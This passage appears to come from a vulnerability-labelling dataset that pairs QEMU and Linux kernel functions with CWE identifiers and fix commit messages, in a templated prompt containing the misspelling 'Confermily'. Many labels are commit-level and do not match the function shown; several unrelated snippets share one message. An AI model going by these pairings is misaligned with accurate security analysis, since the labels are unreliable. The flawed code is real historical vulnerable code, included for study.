(cirrus_hook_write_sr(s, s->sr_index, val))\n\t    break;\n#ifdef DEBUG_VGA_REG\n\tprintf(\"vga: write SR%x = 0x%02x\\n\", s->sr_index, val);\n#endif\n\ts->sr[s->sr_index] = val & sr_mask[s->sr_index];\n\tif (s->sr_index == 1) s->update_retrace_info((VGAState *) s);\n\tbreak;\n    case 0x3c6:\n\tcirrus_write_hidden_dac(s, val);\n\tbreak;\n    case 0x3c7:\n\ts->dac_read_index = val;\n\ts->dac_sub_index = 0;\n\ts->dac_state = 3;\n\tbreak;\n    case 0x3c8:\n\ts->dac_write_index = val;\n\ts->dac_sub_index = 0;\n\ts->dac_state = 0;\n\tbreak;\n    case 0x3c9:\n\tif (cirrus_hook_write_palette(s, val))\n\t    break;\n\ts->dac_cache[s->dac_sub_index] = val;\n\tif (++s->dac_sub_index == 3) {\n\t    memcpy(&s->palette[s->dac_write_index * 3], s->dac_cache, 3);\n\t    s->dac_sub_index = 0;\n\t    s->dac_write_index++;\n\t}\n\tbreak;\n    case 0x3ce:\n\ts->gr_index = val;\n\tbreak;\n    case 0x3cf:\n\tif (cirrus_hook_write_gr(s, s->gr_index, val))\n\t    break;\n#ifdef DEBUG_VGA_REG\n\tprintf(\"vga: write GR%x = 0x%02x\\n\", s->gr_index, val);\n#endif\n\ts->gr[s->gr_index] = val & gr_mask[s->gr_index];\n\tbreak;\n    case 0x3b4:\n    case 0x3d4:\n\ts->cr_index = val;\n\tbreak;\n    case 0x3b5:\n    case 0x3d5:\n\tif (cirrus_hook_write_cr(s, s->cr_index, val))\n\t    break;\n#ifdef DEBUG_VGA_REG\n\tprintf(\"vga: write CR%x = 0x%02x\\n\", s->cr_index, val);\n#endif\n\t/* handle CR0-7 protection */\n\tif ((s->cr[0x11] & 0x80) && s->cr_index <= 7) {\n\t    /* can always write bit 4 of CR7 */\n\t    if (s->cr_index == 7)\n\t\ts->cr[7] = (s->cr[7] & ~0x10) | (val & 0x10);\n\t    return;\n\t}\n\tswitch (s->cr_index) {\n\tcase 0x01:\t\t/* horizontal display end */\n\tcase 0x07:\n\tcase 0x09:\n\tcase 0x0c:\n\tcase 0x0d:\n\tcase 0x12:\t\t/* vertical display end */\n\t    s->cr[s->cr_index] = val;\n\t    break;\n\n\tdefault:\n\t    s->cr[s->cr_index] = val;\n\t    break;\n\t}\n\n\tswitch(s->cr_index) {\n\tcase 0x00:\n\tcase 0x04:\n\tcase 0x05:\n\tcase 0x06:\n\tcase 0x07:\n\tcase 0x11:\n\tcase 0x17:\n\t    s->update_retrace_info((VGAState *) s);\n\t    break;\n\t}\n\tbreak;\n    case 0x3ba:\n    case 0x3da:\n\ts->fcr = val & 0x10;\n\tbreak;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2008-4539: fix a heap overflow in Cirrus emulation\n\nThe code in hw/cirrus_vga.c has changed a lot between CVE-2007-1320 has\nbeen announced and the patch has been applied. As a consequence it has\nwrongly applied and QEMU is still vulnerable to this bug if using VNC.\n\n(noticed by Jan Niehusmann)\n\nSigned-off-by: Aurelien Jarno \n\ngit-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@5587 c046a42c-6fe2-441c-8c8c-71466251a162'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: long arch_ptrace(struct task_struct *child, long request, long addr, long data)\n{\n\tstruct user * dummy = NULL;\n\tint i, ret;\n\tunsigned long __user *datap = (unsigned long __user *)data;\n\n\tswitch (request) {\n\t/* when I and D space are separate, these will need to be fixed. */\n\tcase PTRACE_PEEKTEXT: /* read word at location addr. */ \n\tcase PTRACE_PEEKDATA:\n\t\tret = generic_ptrace_peekdata(child, addr, data);\n\t\tbreak;\n\n\t/* read the word at location addr in the USER area. */\n\tcase PTRACE_PEEKUSR: {\n\t\tunsigned long tmp;\n\n\t\tret = -EIO;\n\t\tif ((addr & 3) || addr < 0 || \n\t\t    addr > sizeof(struct user) - 3)\n\t\t\tbreak;\n\n\t\ttmp = 0;  /* Default return condition */\n\t\tif(addr < FRAME_SIZE*sizeof(long))\n\t\t\ttmp = getreg(child, addr);\n\t\tif(addr >= (long) &dummy->u_debugreg[0] &&\n\t\t   addr <= (long) &dummy->u_debugreg[7]){\n\t\t\taddr -= (long) &dummy->u_debugreg[0];\n\t\t\taddr = addr >> 2;\n\t\t\ttmp = child->thread.debugreg[addr];\n\t\t}\n\t\tret = put_user(tmp, datap);\n\t\tbreak;\n\t}\n\n\t/* when I and D space are separate, this will have to be fixed. */\n\tcase PTRACE_POKETEXT: /* write the word at location addr. */\n\tcase PTRACE_POKEDATA:\n\t\tret = generic_ptrace_pokedata(child, addr, data);\n\t\tbreak;\n\n\tcase PTRACE_POKEUSR: /* write the word at location addr in the USER area */\n\t\tret = -EIO;\n\t\tif ((addr & 3) || addr < 0 || \n\t\t    addr > sizeof(struct user) - 3)\n\t\t\tbreak;\n\n\t\tif (addr < FRAME_SIZE*sizeof(long)) {\n\t\t\tret = putreg(child, addr, data);\n\t\t\tbreak;\n\t\t}\n\t\t/* We need to be very careful here.  We implicitly\n\t\t   want to modify a portion of the task_struct, and we\n\t\t   have to be selective about what portions we allow someone\n\t\t   to modify. */\n\n\t\t  ret = -EIO;\n\t\t  if(addr >= (long) &dummy->u_debugreg[0] &&\n\t\t     addr <= (long) &dummy->u_debugreg[7]){\n\n\t\t\t  if(addr == (long) &dummy->u_debugreg[4]) break;\n\t\t\t  if(addr == (long) &dummy->u_debugreg[5]) break;\n\t\t\t  if(addr < (long) &dummy->u_debugreg[4] &&\n\t\t\t     ((unsigned long) data) >= TASK_SIZE-3) break;\n\t\t\t  \n\t\t\t  /* Sanity-check data. Take one half-byte at once with\n\t\t\t   * check = (val >> (16 + 4*i)) & 0xf. It contains the\n\t\t\t   * R/Wi and LENi bits; bits 0 and 1 are R/Wi, and bits\n\t\t\t   * 2 and 3 are LENi. Given a list of invalid values,\n\t\t\t   * we do mask |= 1 << invalid_value, so that\n\t\t\t   * (mask >> check) & 1 is a correct test for invalid\n\t\t\t   * values.\n\t\t\t   *\n\t\t\t   * R/Wi contains the type of the breakpoint /\n\t\t\t   * watchpoint, LENi contains the length of the watched\n\t\t\t   * data in the watchpoint case.\n\t\t\t   *\n\t\t\t   * The invalid values are:\n\t\t\t   * - LENi == 0x10 (undefined), so mask |= 0x0f00.\n\t\t\t   * - R/Wi == 0x10 (break on I/O reads or writes), so\n\t\t\t   *   mask |= 0x4444.\n\t\t\t   * - R/Wi == 0x00 && LENi != 0x00, so we have mask |=\n\t\t\t   *   0x1110.\n\t\t\t   *\n\t\t\t   * Finally, mask = 0x0f00 | 0x4444 | 0x1110 == 0x5f54.\n\t\t\t   *\n\t\t\t   * See the Intel Manual \"System Programming Guide\",\n\t\t\t   * 15.2.4\n\t\t\t   *\n\t\t\t   * Note that LENi == 0x10 is defined on x86_64 in long\n\t\t\t   * mode (i.e. even for 32-bit userspace software, but\n\t\t\t   * 64-bit kernel), so the x86_64 mask value is 0x5454.\n\t\t\t   * See the AMD manual no. 24593 (AMD64 System\n\t\t\t   * Programming)*/\n\n\t\t\t  if(addr == (long) &dummy->u_debugreg[7]) {\n\t\t\t\t  data &= ~DR_CONTROL_RESERVED;\n\t\t\t\t  for(i=0; i<4; i++)\n\t\t\t\t\t  if ((0x5f54 >> ((data >> (16 + 4*i)) & 0xf)) & 1)\n\t\t\t\t\t\t  goto out_tsk;\n\t\t\t\t  if (data)\n\t\t\t\t\t  set_tsk_thread_flag(child, TIF_DEBUG);\n\t\t\t\t  else\n\t\t\t\t\t  clear_tsk_thread_flag(child, TIF_DEBUG);\n\t\t\t  }\n\t\t\t  addr -= (long) &dummy->u_debugreg;\n\t\t\t  addr = addr >> 2;\n\t\t\t  child->thread.debugreg[addr] = data;\n\t\t\t  ret = 0;\n\t\t  }\n\t\t  break;\n\n\tcase PTRACE_SYSEMU: /* continue and stop at next syscall, which will not be executed */\n\tcase PTRACE_SYSCALL:\t/* continue and stop at next (return from) syscall */\n\tcase PTRACE_CONT:\t/* restart after signal. */\n\t\tret = -EIO;\n\t\tif (!valid_signal(data))\n\t\t\tbreak;\n\t\tif (request == PTRACE_SYSEMU) {\n\t\t\tset_tsk_thread_flag(child, TIF_SYSCALL_EMU);\n\t\t\tclear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);\n\t\t} else if (request == PTRACE_SYSCALL) {\n\t\t\tset_tsk_thread_flag(child, TIF_SYSCALL_TRACE);\n\t\t\tclear_tsk_thread_flag(child, TIF_SYSCALL_EMU);\n\t\t} else {\n\t\t\tclear_tsk_thread_flag(child, TIF_SYSCALL_EMU);\n\t\t\tclear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);\n\t\t}\n\t\tchild->exit_code = data;\n\t\t/* make sure the single step bit is not set. */\n\t\tclear_singlestep(child);\n\t\twake_up_process(child);\n\t\tret = 0;\n\t\tbreak;\n\n/*\n * make the child exit.  Best I can do is send it a sigkill. \n * perhaps it should be put in the status that it wants to \n * exit.\n */\n\tcase PTRACE_KILL:\n\t\tret = 0;\n\t\tif (child->exit_state == EXIT_ZOMBIE)\t/* already dead */\n\t\t\tbreak;\n\t\tchild->exit_code = SIGKILL;\n\t\t/* make sure the single step bit is not set. */\n\t\tclear_singlestep(child);\n\t\twake_up_process(child);\n\t\tbreak;\n\n\tcase PTRACE_SYSEMU_SINGLESTEP: /* Same as SYSEMU, but singlestep if not syscall */\n\tcase PTRACE_SINGLESTEP:\t/* set the trap flag. */\n\t\tret = -EIO;\n\t\tif (!valid_signal(data))\n\t\t\tbreak;\n\n\t\tif (request == PTRACE_SYSEMU_SINGLESTEP)\n\t\t\tset_tsk_thread_flag(child, TIF_SYSCALL_EMU);\n\t\telse\n\t\t\tclear_tsk_thread_flag(child, TIF_SYSCALL_EMU);\n\n\t\tclear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);\n\t\tset_singlestep(child);\n\t\tchild->exit_code = data;\n\t\t/* give it a chance to run. */\n\t\twake_up_process(child);\n\t\tret = 0;\n\t\tbreak;\n\n\tcase PTRACE_DETACH:\n\t\t/* detach a process that was attached. */\n\t\tret = ptrace_detach(child, data);\n\t\tbreak;\n\n\tcase PTRACE_GETREGS: { /* Get all gp regs from the child. */\n\t  \tif (!access_ok(VERIFY_WRITE, datap, FRAME_SIZE*sizeof(long))) {\n\t\t\tret = -EIO;\n\t\t\tbreak;\n\t\t}\n\t\tfor ( i = 0; i < FRAME_SIZE*sizeof(long); i += sizeof(long) ) {\n\t\t\t__put_user(getreg(child, i), datap);\n\t\t\tdatap++;\n\t\t}\n\t\tret = 0;\n\t\tbreak;\n\t}\n\n\tcase PTRACE_SETREGS: { /* Set all gp regs in the child. */\n\t\tunsigned long tmp;\n\t  \tif (!access_ok(VERIFY_READ, datap, FRAME_SIZE*sizeof(long))) {\n\t\t\tret = -EIO;\n\t\t\tbreak;\n\t\t}\n\t\tfor ( i = 0; i < FRAME_SIZE*sizeof(long); i += sizeof(long) ) {\n\t\t\t__get_user(tmp, datap);\n\t\t\tputreg(child, i, tmp);\n\t\t\tdatap++;\n\t\t}\n\t\tret = 0;\n\t\tbreak;\n\t}\n\n\tcase PTRACE_GETFPREGS: { /* Get the child FPU state. */\n\t\tif (!access_ok(VERIFY_WRITE, datap,\n\t\t\t       sizeof(struct user_i387_struct))) {\n\t\t\tret = -EIO;\n\t\t\tbreak;\n\t\t}\n\t\tret = 0;\n\t\tif (!tsk_used_math(child))\n\t\t\tinit_fpu(child);\n\t\tget_fpregs((struct user_i387_struct __user *)data, child);\n\t\tbreak;\n\t}\n\n\tcase PTRACE_SETFPREGS: { /* Set the child FPU state. */\n\t\tif (!access_ok(VERIFY_READ, datap,\n\t\t\t       sizeof(struct user_i387_struct))) {\n\t\t\tret = -EIO;\n\t\t\tbreak;\n\t\t}\n\t\tset_stopped_child_used_math(child);\n\t\tset_fpregs(child, (struct user_i387_struct __user *)data);\n\t\tret = 0;\n\t\tbreak;\n\t}\n\n\tcase PTRACE_GETFPXREGS: { /* Get the child extended FPU state. */\n\t\tif (!access_ok(VERIFY_WRITE, datap,\n\t\t\t       sizeof(struct user_fxsr_struct))) {\n\t\t\tret = -EIO;\n\t\t\tbreak;\n\t\t}\n\t\tif (!tsk_used_math(child))\n\t\t\tinit_fpu(child);\n\t\tret = get_fpxregs((struct user_fxsr_struct __user *)data, child);\n\t\tbreak;\n\t}\n\n\tcase PTRACE_SETFPXREGS: { /* Set the child extended FPU state. */\n\t\tif (!access_ok(VERIFY_READ, datap,\n\t\t\t       sizeof(struct user_fxsr_struct))) {\n\t\t\tret = -EIO;\n\t\t\tbreak;\n\t\t}\n\t\tset_stopped_child_used_math(child);\n\t\tret = set_fpxregs(child, (struct user_fxsr_struct __user *)data);\n\t\tbreak;\n\t}\n\n\tcase PTRACE_GET_THREAD_AREA:\n\t\tret = ptrace_get_thread_area(child, addr,\n\t\t\t\t\t(struct user_desc __user *) data);\n\t\tbreak;\n\n\tcase PTRACE_SET_THREAD_AREA:\n\t\tret = ptrace_set_thread_area(child, addr,\n\t\t\t\t\t(struct user_desc __user *) data);\n\t\tbreak;\n\n\tdefault:\n\t\tret = ptrace_request(child, request, addr, data);\n\t\tbreak;\n\t}\n out_tsk:\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'Handle bogus %cs selector in single-step instruction decoding\n\nThe code for LDT segment selectors was not robust in the face of a bogus\nselector set in %cs via ptrace before the single-step was done.\n\nSigned-off-by: Roland McGrath \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void ptrace_disable(struct task_struct *child)\n{ \n\tclear_singlestep(child);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'Handle bogus %cs selector in single-step instruction decoding\n\nThe code for LDT segment selectors was not robust in the face of a bogus\nselector set in %cs via ptrace before the single-step was done.\n\nSigned-off-by: Roland McGrath \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline int get_stack_long(struct task_struct *task, int offset)\n{\n\tunsigned char *stack;\n\n\tstack = (unsigned char *)task->thread.esp0 - sizeof(struct pt_regs);\n\tstack += offset;\n\treturn (*((int *)stack));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'Handle bogus %cs selector in single-step instruction decoding\n\nThe code for LDT segment selectors was not robust in the face of a bogus\nselector set in %cs via ptrace before the single-step was done.\n\nSigned-off-by: Roland McGrath \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void pwc_rvfree(void * mem, unsigned long size)\n{\n\tunsigned long adr;\n\n\tif (!mem)\n\t\treturn;\n\n\tadr=(unsigned long) mem;\n\twhile ((long) size > 0)\n\t {\n\t   ClearPageReserved(vmalloc_to_page((void *)adr));\n\t   adr  += PAGE_SIZE;\n\t   size -= PAGE_SIZE;\n\t }\n\tvfree(mem);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'USB: fix DoS in pwc USB video driver\n\nthe pwc driver has a disconnect method that waits for user space to\nclose the device. This opens up an opportunity for a DoS attack,\nblocking the USB subsystem and making khubd's task busy wait in\nkernel space. This patch shifts freeing resources to close if an opened\ndevice is disconnected.\n\nSigned-off-by: Oliver Neukum \nCC: stable \nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int pwc_video_close(struct inode *inode, struct file *file)\n{\n\tstruct video_device *vdev = file->private_data;\n\tstruct pwc_device *pdev;\n\tint i, hint;\n\n\tPWC_DEBUG_OPEN(\">> video_close called(vdev = 0x%p).\\n\", vdev);\n\n\tpdev = (struct pwc_device *)vdev->priv;\n\tif (pdev->vopen == 0)\n\t\tPWC_DEBUG_MODULE(\"video_close() called on closed device?\\n\");\n\n\t/* Dump statistics, but only if a reasonable amount of frames were\n\t   processed (to prevent endless log-entries in case of snap-shot\n\t   programs)\n\t */\n\tif (pdev->vframe_count > 20)\n\t\tPWC_DEBUG_MODULE(\"Closing video device: %d frames received, dumped %d frames, %d frames with errors.\\n\", pdev->vframe_count, pdev->vframes_dumped, pdev->vframes_error);\n\n\tif (DEVICE_USE_CODEC1(pdev->type))\n\t    pwc_dec1_exit();\n\telse\n\t    pwc_dec23_exit();\n\n\tpwc_isoc_cleanup(pdev);\n\tpwc_free_buffers(pdev);\n\n\tlock_kernel();\n\t/* Turn off LEDS and power down camera, but only when not unplugged */\n\tif (!pdev->unplugged) {\n\t\t/* Turn LEDs off */\n\t\tif (pwc_set_leds(pdev, 0, 0) < 0)\n\t\t\tPWC_DEBUG_MODULE(\"Failed to set LED on/off time.\\n\");\n\t\tif (power_save) {\n\t\t\ti = pwc_camera_power(pdev, 0);\n\t\t\tif (i < 0)\n\t\t\t\tPWC_ERROR(\"Failed to power down camera (%d)\\n\", i);\n\t\t}\n\t\tpdev->vopen--;\n\t\tPWC_DEBUG_OPEN(\"<< video_close() vopen=%d\\n\", i);\n\t} else {\n\t\tpwc_cleanup(pdev);\n\t\t/* Free memory (don't set pdev to 0 just yet) */\n\t\tkfree(pdev);\n\t\t/* search device_hint[] table if we occupy a slot, by any chance */\n\t\tfor (hint = 0; hint < MAX_DEV_HINTS; hint++)\n\t\t\tif (device_hint[hint].pdev == pdev)\n\t\t\t\tdevice_hint[hint].pdev = NULL;\n\t}\n\tunlock_kernel();\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'USB: fix DoS in pwc USB video driver\n\nthe pwc driver has a disconnect method that waits for user space to\nclose the device. This opens up an opportunity for a DoS attack,\nblocking the USB subsystem and making khubd's task busy wait in\nkernel space. This patch shifts freeing resources to close if an opened\ndevice is disconnected.\n\nSigned-off-by: Oliver Neukum \nCC: stable \nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t show_pan_tilt(struct class_device *class_dev, char *buf)\n{\n\tstruct pwc_device *pdev = cd_to_pwc(class_dev);\n\treturn sprintf(buf, \"%d %d\\n\", pdev->pan_angle, pdev->tilt_angle);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'USB: fix DoS in pwc USB video driver\n\nthe pwc driver has a disconnect method that waits for user space to\nclose the device. This opens up an opportunity for a DoS attack,\nblocking the USB subsystem and making khubd's task busy wait in\nkernel space. This patch shifts freeing resources to close if an opened\ndevice is disconnected.\n\nSigned-off-by: Oliver Neukum \nCC: stable \nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void hash_preload(struct mm_struct *mm, unsigned long ea,\n\t\t  unsigned long access, unsigned long trap)\n{\n\tunsigned long vsid;\n\tvoid *pgdir;\n\tpte_t *ptep;\n\tcpumask_t mask;\n\tunsigned long flags;\n\tint local = 0;\n\n\t/* We don't want huge pages prefaulted for now\n\t */\n\tif (unlikely(in_hugepage_area(mm->context, ea)))\n\t\treturn;\n\n\tDBG_LOW(\"hash_preload(mm=%p, mm->pgdir=%p, ea=%016lx, access=%lx,\"\n\t\t\" trap=%lx\\n\", mm, mm->pgd, ea, access, trap);\n\n\t/* Get PTE, VSID, access mask */\n\tpgdir = mm->pgd;\n\tif (pgdir == NULL)\n\t\treturn;\n\tptep = find_linux_pte(pgdir, ea);\n\tif (!ptep)\n\t\treturn;\n\tvsid = get_vsid(mm->context.id, ea);\n\n\t/* Hash it in */\n\tlocal_irq_save(flags);\n\tmask = cpumask_of_cpu(smp_processor_id());\n\tif (cpus_equal(mm->cpu_vm_mask, mask))\n\t\tlocal = 1;\n#ifndef CONFIG_PPC_64K_PAGES\n\t__hash_page_4K(ea, access, vsid, ptep, trap, local);\n#else\n\tif (mmu_ci_restrictions) {\n\t\t/* If this PTE is non-cacheable, switch to 4k */\n\t\tif (mm->context.user_psize == MMU_PAGE_64K &&\n\t\t    (pte_val(*ptep) & _PAGE_NO_CACHE))\n\t\t\tdemote_segment_4k(mm, ea);\n\t}\n\tif (mm->context.user_psize == MMU_PAGE_64K)\n\t\t__hash_page_64K(ea, access, vsid, ptep, trap, local);\n\telse\n\t\t__hash_page_4K(ea, access, vsid, ptep, trap, local);\n#endif /* CONFIG_PPC_64K_PAGES */\n\tlocal_irq_restore(flags);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': '[POWERPC] Allow drivers to map individual 4k pages to userspace\n\nSome drivers have resources that they want to be able to map into\nuserspace that are 4k in size.  On a kernel configured with 64k pages\nwe currently end up mapping the 4k we want plus another 60k of\nphysical address space, which could contain anything.  This can\nintroduce security problems, for example in the case of an infiniband\nadaptor where the other 60k could contain registers that some other\nprogram is using for its communications.\n\nThis patch adds a new function, remap_4k_pfn, which drivers can use to\nmap a single 4k page to userspace regardless of whether the kernel is\nusing a 4k or a 64k page size.  Like remap_pfn_range, it would\ntypically be called in a driver's mmap function.  It only maps a\nsingle 4k page, which on a 64k page kernel appears replicated 16 times\nthroughout a 64k page.  On a 4k page kernel it reduces to a call to\nremap_pfn_range.\n\nThe way this works on a 64k kernel is that a new bit, _PAGE_4K_PFN,\ngets set on the linux PTE.  This alters the way that __hash_page_4K\ncomputes the real address to put in the HPTE.  The RPN field of the\nlinux PTE becomes the 4k RPN directly rather than being interpreted as\na 64k RPN.  Since the RPN field is 32 bits, this means that physical\naddresses being mapped with remap_4k_pfn have to be below 2^44,\ni.e. 0x100000000000.\n\nThe patch also factors out the code in arch/powerpc/mm/hash_utils_64.c\nthat deals with demoting a process to use 4k pages into one function\nthat gets called in the various different places where we need to do\nthat.  There were some discrepancies between exactly what was done in\nthe various places, such as a call to spu_flush_all_slbs in one case\nbut not in others.\n\nSigned-off-by: Paul Mackerras '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static unsigned long __init htab_get_table_size(void)\n{\n\tunsigned long mem_size, rnd_mem_size, pteg_count;\n\n\t/* If hash size isn't already provided by the platform, we try to\n\t * retrieve it from the device-tree. If it's not there neither, we\n\t * calculate it now based on the total RAM size\n\t */\n\tif (ppc64_pft_size == 0)\n\t\tof_scan_flat_dt(htab_dt_scan_pftsize, NULL);\n\tif (ppc64_pft_size)\n\t\treturn 1UL << ppc64_pft_size;\n\n\t/* round mem_size up to next power of 2 */\n\tmem_size = lmb_phys_mem_size();\n\trnd_mem_size = 1UL << __ilog2(mem_size);\n\tif (rnd_mem_size < mem_size)\n\t\trnd_mem_size <<= 1;\n\n\t/* # pages / 2 */\n\tpteg_count = max(rnd_mem_size >> (12 + 1), 1UL << 11);\n\n\treturn pteg_count << 7;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': '[POWERPC] Allow drivers to map individual 4k pages to userspace\n\nSome drivers have resources that they want to be able to map into\nuserspace that are 4k in size.  On a kernel configured with 64k pages\nwe currently end up mapping the 4k we want plus another 60k of\nphysical address space, which could contain anything.  This can\nintroduce security problems, for example in the case of an infiniband\nadaptor where the other 60k could contain registers that some other\nprogram is using for its communications.\n\nThis patch adds a new function, remap_4k_pfn, which drivers can use to\nmap a single 4k page to userspace regardless of whether the kernel is\nusing a 4k or a 64k page size.  Like remap_pfn_range, it would\ntypically be called in a driver's mmap function.  It only maps a\nsingle 4k page, which on a 64k page kernel appears replicated 16 times\nthroughout a 64k page.  On a 4k page kernel it reduces to a call to\nremap_pfn_range.\n\nThe way this works on a 64k kernel is that a new bit, _PAGE_4K_PFN,\ngets set on the linux PTE.  This alters the way that __hash_page_4K\ncomputes the real address to put in the HPTE.  The RPN field of the\nlinux PTE becomes the 4k RPN directly rather than being interpreted as\na 64k RPN.  Since the RPN field is 32 bits, this means that physical\naddresses being mapped with remap_4k_pfn have to be below 2^44,\ni.e. 0x100000000000.\n\nThe patch also factors out the code in arch/powerpc/mm/hash_utils_64.c\nthat deals with demoting a process to use 4k pages into one function\nthat gets called in the various different places where we need to do\nthat.  There were some discrepancies between exactly what was done in\nthe various places, such as a call to spu_flush_all_slbs in one case\nbut not in others.\n\nSigned-off-by: Paul Mackerras '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ieee80211_qos_convert_ac_to_parameters(struct\n\t\t\t\t\t\t  ieee80211_qos_parameter_info\n\t\t\t\t\t\t  *param_elm, struct\n\t\t\t\t\t\t  ieee80211_qos_parameters\n\t\t\t\t\t\t  *qos_param)\n{\n\tint rc = 0;\n\tint i;\n\tstruct ieee80211_qos_ac_parameter *ac_params;\n\tu32 txop;\n\tu8 cw_min;\n\tu8 cw_max;\n\n\tfor (i = 0; i < QOS_QUEUE_NUM; i++) {\n\t\tac_params = &(param_elm->ac_params_record[i]);\n\n\t\tqos_param->aifs[i] = (ac_params->aci_aifsn) & 0x0F;\n\t\tqos_param->aifs[i] -= (qos_param->aifs[i] < 2) ? 0 : 2;\n\n\t\tcw_min = ac_params->ecw_min_max & 0x0F;\n\t\tqos_param->cw_min[i] = (u16) ((1 << cw_min) - 1);\n\n\t\tcw_max = (ac_params->ecw_min_max & 0xF0) >> 4;\n\t\tqos_param->cw_max[i] = (u16) ((1 << cw_max) - 1);\n\n\t\tqos_param->flag[i] =\n\t\t    (ac_params->aci_aifsn & 0x10) ? 0x01 : 0x00;\n\n\t\ttxop = le16_to_cpu(ac_params->tx_op_limit) * 32;\n\t\tqos_param->tx_op_limit[i] = (u16) txop;\n\t}\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-189'], 'message': '[IEEE80211]: avoid integer underflow for runt rx frames\n\nReported by Chris Evans :\n\n> The summary is that an evil 80211 frame can crash out a victim's\n> machine. It only applies to drivers using the 80211 wireless code, and\n> only then to certain drivers (and even then depends on a card's\n> firmware not dropping a dubious packet). I must confess I'm not\n> keeping track of Linux wireless support, and the different protocol\n> stacks etc.\n>\n> Details are as follows:\n>\n> ieee80211_rx() does not explicitly check that \"skb->len >= hdrlen\".\n> There are other skb->len checks, but not enough to prevent a subtle\n> off-by-two error if the frame has the IEEE80211_STYPE_QOS_DATA flag\n> set.\n>\n> This leads to integer underflow and crash here:\n>\n> if (frag != 0)\n>    flen -= hdrlen;\n>\n> (flen is subsequently used as a memcpy length parameter).\n\nHow about this?\n\nSigned-off-by: John W. Linville \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ieee80211_rx_frame_decrypt(struct ieee80211_device *ieee, struct sk_buff *skb,\n\t\t\t   struct ieee80211_crypt_data *crypt)\n{\n\tstruct ieee80211_hdr_3addr *hdr;\n\tint res, hdrlen;\n\n\tif (crypt == NULL || crypt->ops->decrypt_mpdu == NULL)\n\t\treturn 0;\n\n\thdr = (struct ieee80211_hdr_3addr *)skb->data;\n\thdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl));\n\n\tatomic_inc(&crypt->refcnt);\n\tres = crypt->ops->decrypt_mpdu(skb, hdrlen, crypt->priv);\n\tatomic_dec(&crypt->refcnt);\n\tif (res < 0) {\n\t\tIEEE80211_DEBUG_DROP(\"decryption failed (SA=\" MAC_FMT\n\t\t\t\t     \") res=%d\\n\", MAC_ARG(hdr->addr2), res);\n\t\tif (res == -2)\n\t\t\tIEEE80211_DEBUG_DROP(\"Decryption failed ICV \"\n\t\t\t\t\t     \"mismatch (key %d)\\n\",\n\t\t\t\t\t     skb->data[hdrlen + 3] >> 6);\n\t\tieee->ieee_stats.rx_discards_undecryptable++;\n\t\treturn -1;\n\t}\n\n\treturn res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 